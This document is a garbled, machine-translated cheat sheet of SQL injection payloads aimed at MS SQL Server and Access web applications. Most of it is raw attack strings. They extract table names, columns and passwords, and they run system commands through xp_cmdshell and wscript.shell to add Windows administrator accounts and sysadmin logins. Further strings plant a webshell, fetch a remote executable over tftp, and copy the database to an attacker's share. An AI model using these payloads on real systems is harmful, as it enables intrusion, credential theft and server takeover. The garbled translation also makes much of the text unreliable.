SQL injection summary

xiaoxiao2021-03-06  16

SQL injection summary (native to 'or'1' = '1)

The most important of the table name: select * from sysobjectssysobjects ncsysobjectssysindexes tsysindexessyscolumnssystypessysuserssysdatabasessysxloginssysprocesses

The most important user name (the default SQL database exists) PUBLICDBOGUEST (general prohibition, or no permissions) DB_SercurityAdminab_dlladmin

Some default extensions

xp_regaddmultistring xp_regdeletekey xp_regdeletevalue xp_regenumkeys xp_regenumvalues ​​xp_regread xp_regremovemultistring xp_regwritexp_availablemedia drive related xp_dirtree directory xp_enumdsn ODBC connection xp_loginconfig server security mode information xp_makecab create compressed volume xp_ntsec_enumdomains domain information xp_terminate_process terminal process, given a PID

For example: sp_addextendedproc 'xp_webserver', 'c: /temp/xp_foo.dll'exec xp_webserversp_dropextendedproc' xp_webserver'bcp "select * FROM test..foo" queryout c: /inetpub/wwwroot/runcommand.asp -c -Slocalhost -Usa - Pfoobar 'group by users.id Having 1 = 1-' Group by users.id, users.username, users.password, users.privs haVing 1 = 1- '; Insert Into Users Values ​​(666,' Attacker ',' FOOBAR ', 0xffff) -

union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME = 'logintable'-union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME =' logintable 'where COLUMN_NAME NOT IN (' login_id ') - union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME = 'logintable' where COLUMN_NAME NOT IN ( 'login_id', 'login_name') - union select TOP 1 login_name FROM logintable-union select TOP 1 password FROM logintable where login_name = 'Rahul' - construction statement: query whether there xp_cmdshell 'union select @@ version, 1, 1, 1 - and 1 = (select @@ version) and' sa '= (select system_user)' Union Select RET, 1, 1, 1 from foo - 'union Select Min (Username), 1, 1 from users where username> 'a'-' union select min (username), 1, 1, 1 from users where username> 'admin'-' union Select Password, 1, 1, 1 from users where username = 'admin' - and user_name () = 'dbo'and 0 <> (select user_name () -; DECLARE @shell INT EXEC sP_OAcreate' wscript.shell ', @ shell OUTPUT EXEC sP_OAMETHOD @shell,' Run ', NULL,' C: / WINNT / SYSTEM 32 / cmd.exe / c net user swap 5245886 / add'and 1 = (Select Count (*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell'); exec master.dbo.sp_addextendedProc ' XP_cmdshell ',' XPLog70.dll '

1 = (% 20Select% 20count (*)% 20FROM% 20master.dbo.sysObjects% 20where% 20 type = 'x'% 20And% 20name = 'xp_cmdshell') and 1 = (select is_srvrolemember ('sysadmin')) Judging SA Permissions Whether And 0 <> (Select Top 1 Paths from NewTable) - Branches Dafa and 1 = (Select Name from Master.dbo.sysDatabases Where DBID = 7) Get the library name (from 1 to 5 are the iD, 6 The above can be judged) Create a virtual directory E disk: declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', null, 'cscript.exe c: / inetpub / wwwroot / mkwebdir .vbs -w "default Web Site" -V "e", "e: /" 'access attribute: (with write a webhell) Declare @o int exec sp_oacreate' wscript.shell ', @o out exec sp_oamethod @o , 'Run', NULL, 'CScript.exe C: /inetpub/wwwroot/chaccess.vbs -a W3SVC / 1 / Root / E Browse'and 0 <> (Select Count (*) from master.dbo.sdatabases where Name> 1 and dbid = 6) Submit DBID = 7, 8, 9 .... Get more database name and 0 <> (select top 1 name from bbs.dbo.sysobjects where xtype = 'u') To a table assume as admin

AND 0 <> (Select Top 1 Name from bbs.dbo.sysObjects where xtype = 'u' and name not in ('admin')) is available. And 0 <> (Select Count (*) from bbs.dbo.sysobjects where xtype = 'u' and name = 'admin' and uid> (STR (ID))) Value Value Value assumes 18779569 UID = IDAND 0 <> (Select Top 1 Name from bbs.dbo.syscolumns where id = 18779569) Get a field of Admin, assume User_idand 0 <> (SELECT TOP 1 Name from bbs.dbo.syscolumns where id = 18779569 and name not in ('id', ...)) to fade other fields and 0 <(Select user_id from bbs bbs.dbo.admin where username> 1) You can get a password in order. . . . . Assume that the presence of user_id username, password and other fields

SHOW.ASP? ID = -1 Union SELECT 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, * from adminshow.asp? Id = -1 Union SELECT 1, 2, 3, 4, 5, 6, 7, 8, *, 9, 10, 11, 12, 13 from admin (union statement is popular, Access is also special skills ::% 5c = '/' Or put / and / modify% 5 Submit an AND 0 <> (Select Count (*) from master.dbo.sdatabases where name> 1 and dbid = 6) and 0 <> (Select Top 1 Name from bbs.dbo.sysobjects where Xtype = 'u') Get a table name and 0 <> (Select Top 1 Name from bbs.dbo.sysobjects where xtype = 'u' and name not in ('address')) and 0 <> (Select Count (*) From bbs.dbo.sysObjects where xtype = 'u' and name = 'admin' and uid> (ID))) Judgment ID value and 0 <> (Select Top 1 Name from bbs.dbo.syscolumns where id = 773577794 ) All fields

http: //xx.xx.xx.xx/111.asp? id = 3400; Create Table [DBO]. [swap] ([swappass] [char] (255));

http://xx.xx.xx.xx/111.asp? id = 3400 and (select top 1 swappass from swap) = 1; Create Table newTable (ID Int Id IDENTITY (1, 1), Paths Varchar (500)) Declare @test varchar (20) exec master..xp_regread @ rootkey = 'HKEY_LOCAL_MACHINE', @ key = 'SYSTEM / CurrentControlSet / Services / W3SVC / Parameters / Virtual Roots /', @value_name = '/', values ​​= @ test OUTPUT INSERT INTO PATHS (PATH) VALUES (@test)

http://61.131.96.39/pageshow.asp?tianname= Policy Regulations & Infoid = {57C4165A-4206-4C0D-A8D2-E70666EE4E08}; USE% 20Master; Declare% 20 @ s% 20% 20INT; EXEC% 20sp_oacreate% 20 " Wscript.shell, @ s% 20OUT; EXEC% 20sp_oamethod% 20 @ s, "run", null, "cmd.exe% 20 / c% 20PING% 201.1.1.1";

Get the web path D: / xxxx, next: http://xx.xx.xx.xx/111.asp? Id = 3400; use ku1; - http: //xx.xx.xx.xx/111 .asp? id = 3400; CREATE TABLE CMD (STR Image);

Traditional XP_cmdshell test procedure:; exec master "; exec master.dbo.sp_addlogin Hax; -; exec master.dbo.sp_password null, Hax, Hax; -; exec master.dbo.sp_addsrvroleMember Hax sysadmin; -; exec master.dbo.xp_cmdshell 'net user Hax 5258 / workStations: * / time: all / passwordchg: Yes / PasswordReq: Yes / Active: Yes / add'; -; exec master.dbo.xp_cmdshell 'net localgroup administrators hax / add'; - EXEC MASTER.. pP_SERVICECONTROL 'Start', 'Schedule' Exec Master ", 'Server'Http://www.xxx.com/list.asp? classid = 1; declare @Shell int exec sp_oacreate 'wscript.shell', @ shell output exec sp_oamethod @ shell, 'run', null, 'c: /winnt/system32/cmd.exe / c Net user swap 5258 / add'; DECLARE @shell INT EXEC sP_OAcreate 'wscript.shell', @ shell OUTPUT EXEC sP_OAMETHOD @ shell, 'run', null, 'C: /WINNT/system32/cmd.exe / c net localgroup administrators swap / add'http: // Localhost / show.asp? id = 1 '; exec master..xp_cmdshell' tftp -i youip get file.exe'-

Declare @a sysname set @ a = 'xp _' 'cmdshell' exec @A 'DIR C: /' DECLARE @A sysname set @ a = 'xp' '_ cm' 'dshell' exec @a 'DIR C: / '; declare @a; set @ a = db_name (); backup database @a to disk =' Your IP Your shared directory Bak.dat 'If the limit can be. Select * from OpenRowSet ('SQLOLEDB', 'Server'; 'Sa'; '', 'SELECT' '' '' EXEC MASTER.DBO.SP_ADDLOGIN HAX ') Traditional Query Construction: SELECT * from news where id = .. And Topic = ... and ..... Admin 'And (*) from [user] where username =' Victim 'And Right (Left (UserPass, 01), 1) =' 1 ' ) and userpass <> 'SELECT 123; -; use master; -: a' or name like 'fff%'; - Show with a user named FFFF. 'and 1 <> (user]); -; Update [users] set email = (Select Top 1 Name from sysobjects where xtype =' u 'and status> 0) Where name =' FFFF '; - Description: The above statement is to get the first user table in the database and put the table name in the mailbox field of the FFFF user. By viewing the user information of FFFF, you can get the first table called AD and get the idffff 'of this table according to the table name Ad, Update [users] set email = (Select Top 1 id from sysobjects where xtype =' u 'and name = 'ad') Where name = 'fff'; - I can get the name of the second table in the next table, fff '; Update [users] set email = (Select Top 1 Name from sysobjects where xtype =' u 'and) ID> 581577110) WHERE Name = 'fff'; - fff '; Update [users] set email = (select top 1 count (id) from password) where name =' fff '; - fff'; Update [Users] Set email = (select top 1 pwd from password where id = 2) where name = 'fff';

ffff '; update [users] set email = (select top 1 name from password where id = 2) where name =' ffff '; - exec master..xp_servicecontrol' start ',' schedule 'exec master..xp_servicecontrol' start ',' Server 'XP_ADDEXTENDPROC' XP_WEBSERVER ',' C: /TEMP/XP_FOO.DLL 'Extended Storage You can call through the general method: Exec XP_Webserver Once this extension store is executed, you can delete it: sp_dropextendedProc' xp_webserver '

INSERT INTO Users Values ​​(666, Char (0x63) Char (0x68) Char (0x72) CHAR (0x69) CHAR (0x73), Char (0x63) CHAR (0x68) CHAR (0x72) char (0x69 CHAR (0x73), 0xfff) -

INSERT INTO USERS VALUES (667, 123, 123, 0xFFF) -

INSERT INTO USERS VALUES (123, 'Admin' '-', 'Password', 0xfff) -

And user> 0 ;; and (select count (*) from sysobjects> 0 ;; and (select count (*) from mysysObjects> 0 // for Access database

-------------------------------------------------- ------- Some of usually injected: a) ID = 49 These injected parameters are digital type, and the SQL statement is roughly as follows: SELECT * FROM table name where field = 49 Injection parameters Id = 49 and [Query Condition], that is, generating statement: SELECT * FROM table name Where field = 49 and [query condition]

(B) Class = Continuous argument This type of injection is a character type, and the SQL statement is generally approrated: SELECT * FROM table name where FROM table name WHERE field = 'consecutive' injection parameter is class = series' and [query criteria] and '' = ', That is, generating statement: SELECT * FROM table name Where field =' Serpest 'and' '=' '(c) No filtering parameters, such as keyword = keyword, SQL statement is roughly as follows : SELECT * FROM Table Name Where Field Like '% Keyword%' Injection Parameters is Keyword = 'AND [Query Condition] and'% 25 '=' 'and' = '%' ;; and (select top 1 name from sysobjects where xtype = 'u' and status> 0)> 0SysObjects is the system table of SQL Server, stores all the table names, View, constraints, and other objects, Xtype = 'u' and status> 0, indicating the table name established by the user, the above statement takes the first table name, smaller than 0, so that the error information exposes the table name. ; And (select top 1 col_name (Object_ID ('Name')> 0 After getting the table name from 5, use Object_ID ('Name') to get the internal ID, col_name ("COL_NAME) Table name ID, 1) Represents the first field name of the table, replace it with 2, 3, 4 ... You can get the field name inside the specified sheet one by one.

POST.HTM content: It is mainly convenient to enter.